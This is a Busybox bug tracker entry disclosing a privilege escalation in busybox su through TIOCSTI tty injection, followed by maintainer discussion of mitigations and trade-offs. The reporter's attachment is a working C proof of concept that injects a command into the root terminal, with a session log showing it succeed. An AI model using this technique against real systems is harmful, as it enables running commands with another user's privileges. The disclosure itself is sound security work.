| Summary: | privilege escalation with TIOCSTI ioctl from busybox su | ||
|---|---|---|---|
| Product: | Busybox | Reporter: | Lizzie Dixon <_> |
| Component: | Other | Assignee: | unassigned |
| Status: | NEW --- | ||
| Severity: | normal | CC: | admwiggin+busyboxbugs, busybox-cvs |
| Priority: | P5 | ||
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Host: | Target: | ||
| Build: | |||
| Attachments: | use the TIOCSTI ioctl to write a command to the controlling tty | ||
By the way: sorry if this is not the right place for security bugs. I emailed a developer personally a week ago and received no response, and couldn't find any guidelines for security bugs. (In reply to Lizzie Dixon from comment #0) Nasty. However, this only works interactively, when root runs "su lizzie -c ./tiocsti" from a command line shell. This will not work from a script, when stdin is not used for command input. I would think root should be a little suspicious when users ask him to run unknown scripts via "su -c SCRIPT". The solution used by "standard" su versions is to run -c SCRIPT in a new session, IOW: without controlling tty (because TIOCSTI then does not work). In practice, not having controlling tty is at times a serious inconvenience. I'm not sure it makes sense to do this: for more contrived code, we can end up having a somewhat _less_ usable tool. For now I added comment explaining existence of this exploit. > However, this only works interactively, when root runs "su lizzie -c ./tiocsti" from a command line shell. This will not work from a script, when stdin is not used for command input. Yes, this is true. Sorry, should have added a note about that. > In practice, not having controlling tty is at times a serious inconvenience. Could you explain what inconveniences you're thinking of? (In reply to Lizzie Dixon from comment #3) su USER -c '. SCRIPT' where SCRIPT is: while true; do read line; done You can't interrupt that with ^C: the child process in new session has no ctty, hence ^C does not get converted to SIGINT. util-linux 2.28's su "works around it" by intercepting SIGINT and resending it to children. Which opens it to further complications: how to know that child does not exist anymore? waitpid? Heh. Try this SCRIPT: (sleep 8; echo HELLO) & while true; do read line; done sh-4.3# su daemon -c '. SCRIPT' ^C Session terminated, killing shell... ...killed. sh-4.3# HELLO ^^^^^ ??? What is this? There is still child process which can access our tty! This is bound to be bad. TIOCSTI is nasty, but far from the only bad thing which can be done to a tty. E.g. it can be set to O_NONBLOCK. I just tried it. It seems to work. |
Created attachment 6796 [details] use the TIOCSTI ioctl to write a command to the controlling tty I noticed that Busybox su is vulnerable to tty hijacking with the TIOCSTI ioctl. For example, this C program writes to the controlling terminal and so can run arbitrary shell commands. With this, any unprivileged program run with su can execute code as the calling user. #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> int main() { for (char *cmd = "id\n"; *cmd; cmd++) { if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) { fprintf(stderr, "++ ioctl failed: %m\n"); return 1; } } return 0; } [lizzie@empress misc]$ gcc -Wall -Werror tiocsti.c -o tiocsti [lizzie@empress misc]$ sudo bash [root@empress misc]# ./busybox su -v su: invalid option -- 'v' BusyBox v1.26.0.git (2016-10-25 17:15:49 PDT) multi-call binary. Usage: su [OPTIONS] [-] [USER] Run shell under USER (by default, root) -,-l Clear environment, run shell as login shell -p,-m Do not set new $HOME, $SHELL, $USER, $LOGNAME -c CMD Command to pass to 'sh -c' -s SH Shell to use instead of user's default [root@empress misc]# ./busybox su lizzie -c ./tiocsti id [root@empress misc]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log) [root@empress misc]# ./busybox --version Note that this was done without any user interaction beyond './busybox su lizzie -c ./tiocsti'. Also worth noting that util-linux su prevents this. (CVE-2005-4890 was a similar issue from 2005 in util-linux su). [root@empress misc]# su --version su from util-linux 2.28.2 [root@empress misc]# su lizzie -c tiocsti bash: tiocsti: command not found [root@empress misc]# su lizzie -c ./tiocsti ++ ioctl failed: Operation not permitted